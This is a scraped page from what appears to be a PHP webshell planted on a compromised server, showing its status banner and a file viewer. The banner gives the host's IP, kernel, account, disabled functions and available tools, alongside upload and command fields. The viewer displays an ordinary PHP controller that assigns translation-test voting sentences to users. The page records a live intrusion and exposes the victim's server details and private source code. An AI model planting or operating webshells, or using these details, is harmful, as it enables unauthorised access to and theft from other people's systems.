403Webshell
Server IP : 64.202.187.69  /  Your IP : 216.73.217.74
Web Server : Apache
System : Linux 69.187.202.64.host.secureserver.net 3.10.0-1160.144.1.el7.tuxcare.els6.x86_64 #1 SMP Fri May 29 16:22:24 UTC 2026 x86_64
User : transmarket ( 1001)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/transmarket/translator/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/transmarket/translator/controllers/get_test_voting_sentence.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

include 'connection.php';

$data = array();
$data['status'] = 300;

$user_id = $_SESSION['tm_id'];

//ini_set('display_errors',1);
//error_reporting(E_ALL);

require_once('functions.test_voting.php');

$test_voting_obj = new Test_voting();

$test_voting_languages_ids_arr = $test_voting_obj->getTestVotingAllowedLanguagesIds();

//admin uploaded sentences test voting
//$allowed_test_voting_level_ids_arr = array(1,2,6,7);

$allowed_test_voting_level_ids_arr = array(1,2,3,4);

//get test voting level 
$test_voting_level = $test_voting_obj->getTestVotingLevelByUserId( $user_id );

//For specific languages only, Like Spanish - 87, Hindi
if ( isset($_SESSION['tm_language_id']) && in_array($_SESSION['tm_language_id'], $test_voting_languages_ids_arr) && isset($_SESSION['tm_id']) && in_array($test_voting_level,$allowed_test_voting_level_ids_arr) ) { 	
	
    $language_id = $_SESSION['tm_language_id'];		
	
	//get max no. of test voting sentence user need to submit
	$max_test_voting_sentences = $test_voting_obj->getMaxTestVotingSentences();
	
	//get no. of sentences assigned to user
	$user_assigned_voting_sentences_count = $test_voting_obj->getVotingSentnecesAssignedCount( $user_id, $test_voting_level );
	
	//is new user
	//$is_new_user = $test_voting_obj->checkIsNewUser( $user_id );
	
	//get test voting max submit time (in hours)
	//$max_submit_time_in_hours = $test_voting_obj->getTestVotingSettingsValuesByColumnName( 'test_voting_max_submit_time' );
	
	
	
	//check if user has not yet assigned voting sentences and assigned voting sentences less than max test voting sentences
	if( $user_assigned_voting_sentences_count == 0 && $user_assigned_voting_sentences_count < $max_test_voting_sentences ) {
		
		//get all previously user assigned test levels - test voting sentence ids if any 
		$user_assigned_test_voting_sentneces_ids = $test_voting_obj->getUserAssignedTestVotingSentenceIds( $user_id );
		
		//persian translators
		if( $language_id == 71 ) {
			//pick random voting sentences to assign it to persian user
			$result_random_voting_sentences = $test_voting_obj->pickRandomVotingSentencesToAssignPersianUser( $test_voting_level, $max_test_voting_sentences, $user_assigned_test_voting_sentneces_ids );
		} else {
			//pick random voting sentences to assign it user any other language user
			$result_random_voting_sentences = $test_voting_obj->pickRandomVotingSentencesToAssignUser( $language_id, $max_test_voting_sentences, $user_assigned_test_voting_sentneces_ids );
		}
		
		//check there are enough sentences available for assign to user 
		if( $result_random_voting_sentences->num_rows > 0 && $result_random_voting_sentences->num_rows == $max_test_voting_sentences ) {
			
			while($row_voting_sentences = $result_random_voting_sentences->fetch_object()) {
				$sentence_id = $row_voting_sentences->id;	
				
				//assign voting sentences to user
				//$test_voting_obj->insertTranslatorTestVotingSentnecesMap( $user_id, $sentence_id, $max_submit_time_in_hours );
				$test_voting_obj->insertTranslatorTestVotingSentnecesMap( $user_id, $sentence_id, $test_voting_level );
				
			}
			
		}
		
	}	
	
	// SQL for marking the test voting failed if time more than 1 day of submission
	//$test_voting_obj->makeTestVotingFailedMaxSubmitTimeOver( $user_id );
	
	//pick one user assigned but not yet voted sentence id
	$assigned_voting_sentence_id = $test_voting_obj->getUserAssignedTestVotingSentenceMapSentenceId( $user_id, $test_voting_level );
	
	//pick one user assigned but not yet translator test  voting sentence map id
	$assigned_ttvsm_id = $test_voting_obj->getUserAssignedTestVotingSentenceMapId( $user_id, $test_voting_level );
	
	//get test voting sentence details
	$result = $test_voting_obj->getTestVotingSentenceRowById( $assigned_voting_sentence_id );
 
    if ($result->num_rows > 0 ) {
		
        $data['status'] = 200;

        while ($row = $result->fetch_object()) {						
		
            $data['suggestion'] = array();			
            
			$data['ttvsm_id'] = $assigned_ttvsm_id;
			$data['sentence_id'] = $row->id;
			$data['original_message'] = stripslashes($row->original_sentence);			

			$suggestion = array();
			
            if( $row->suggestion_1 != '' ) {                
                $suggestion['suggestion_id'] = 1;
                $suggestion['translation_message'] = stripslashes($row->suggestion_1);
                array_push($data['suggestion'], $suggestion);
			}
			
			if( $row->suggestion_2 != '' ) {                
                $suggestion['suggestion_id'] = 2;
                $suggestion['translation_message'] = stripslashes($row->suggestion_2);
                array_push($data['suggestion'], $suggestion);
			}
            
			if( $row->suggestion_3 != '' ) {                
                $suggestion['suggestion_id'] = 3;
                $suggestion['translation_message'] = stripslashes($row->suggestion_3);
                array_push($data['suggestion'], $suggestion);
			}	

			if( $row->suggestion_4 != '' ) {                
                $suggestion['suggestion_id'] = 4;
                $suggestion['translation_message'] = stripslashes($row->suggestion_4);
                array_push($data['suggestion'], $suggestion);
				
				$suggestion['suggestion_id'] = 5;
                $suggestion['translation_message'] = stripslashes("None of the above is translated correctly.");
                array_push($data['suggestion'], $suggestion);
				
			}				
			
        }
    }
	
}
echo json_encode($data);

Youez - 2016 - github.com/yon3zu
LinuXploit